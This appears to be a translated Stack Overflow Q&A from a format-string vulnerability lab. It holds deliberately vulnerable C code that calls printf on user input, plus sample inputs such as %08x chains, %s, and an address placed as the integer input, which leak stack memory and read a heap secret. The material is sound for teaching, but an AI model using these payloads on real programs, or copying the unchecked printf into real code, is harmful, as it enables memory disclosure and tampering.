我正在一个格式字符串漏洞实验室,我们在其中得到以下代码:
#define SECRET1 0x44
#define SECRET2 0x55
int main(int argc, char *argv[])
{
char user_input[100];
int *secret;
int int_input;
int a, b, c, d; /* other variables, not used here.*/
/* The secret value is stored on the heap */
secret = (int *) malloc(2*sizeof(int));
/* getting the secret */
secret[0] = SECRET1;
secret[1] = SECRET2;
printf("The variable secret's address is 0x%.8x (on stack)\n", &secret);
printf("The variable secret's value is 0x%.8x (on heap)\n", secret);
printf("secret[0]'s address is 0x%.8x (on heap)\n", &secret[0]);
printf("secret[1]'s address is 0x%.8x (on heap)\n", &secret[1]);
printf("Please enter a decimal integer\n");
scanf("%d", &int_input); /* getting an input from user */
printf("Please enter a string\n");
scanf("%s", user_input); /* getting a string from user */
/* vulnerable place */
printf(user_input);
printf("\n");
/* Verify whether your attack is successful */
printf("The original secrets: 0x%x -- 0x%x\n", SECRET1, SECRET2);
printf("The new secrets: 0x%x -- 0x%x\n", secret[0], secret[1]);
return 0;
}
我们根本不应该修改代码。仅使用输入,我们有4个目标:使程序崩溃,在secret [1]处打印值,在secret [1]处修改值以及将secret [1]处的值修改为预定值。
我得到的样本输出是:
The variable secret's address is 0xbfffe7cc (on stack)
The variable secret's value is -x0804a008 (on heap)
secret[0]'s address is 0x0804a008 (on heap)
secret[1]'s address is 0x0804a00c (on heap)
Please enter a decimal integer
65535
Please enter a string
%08x.%08x.%08x.%08x.%08x.%08x.%08x%08x.
bfffe7d0.00000000.00000000.00000000.00000000.0000ffff.0804a008.78383025
因此,通过输入8个“%08x”,我打印出secret + 4的地址,然后我打印出整数a,b,c和d的地址-但由于我从未给他们提供值,所以它们没有指向任何地方,只显示0。紧随其后的是我选择的十进制输入,以便可以清晰看到“ffff”。接下来是secret [0]的地址,然后进入存储在程序中的其他值。
如果我输入
AAAA.%08x.%08x.%08x.%08x.%08x.%08x.%08x%08x.
,那么.0804a008之后将是.41414141,因为来自字符串输入的A将存储在此处。程序崩溃很容易:字符串输入中的%s过多会导致段错误。但是,现在我需要 secret 读取值[1],而我完全迷路了。我试图通过某种方式将地址放在字符串的开头,以尝试将地址放在堆栈中:
\xd0\xe7\xff\xbf_%08x.%08x.%08x.%08x.%08x.%08x.%s
,但是地址没有被压入任何地方,我只是打印secret [0](出于好奇,是“D”)。我已经尝试过各种地址,但是过了一会儿我才意识到我只是将它们全部存储为一个字符串,以前那些A都出现在了字符串中。它们不会转换为十六进制或其他任何东西。我已经在SA和其他地方看到了很多有关此代码的讨论,但是我还没有看到任何人谈论如何 secret 获取值[1]。
任何帮助将不胜感激。
最佳答案
要访问secret [1],必须输入它的地址作为整数输入。
Please enter a decimal integer
73740
Please enter a string
%08x.%08x.%08x.%08x.%08x.%08x.%s
00008744.bead4ca4.bead4cc4.bead4dc4.00000001.000000a8.U
关于c - 在格式字符串漏洞攻击中访问数组的第二个元素,我们在Stack Overflow上找到一个类似的问题:https://stackoverflow.com/questions/16067427/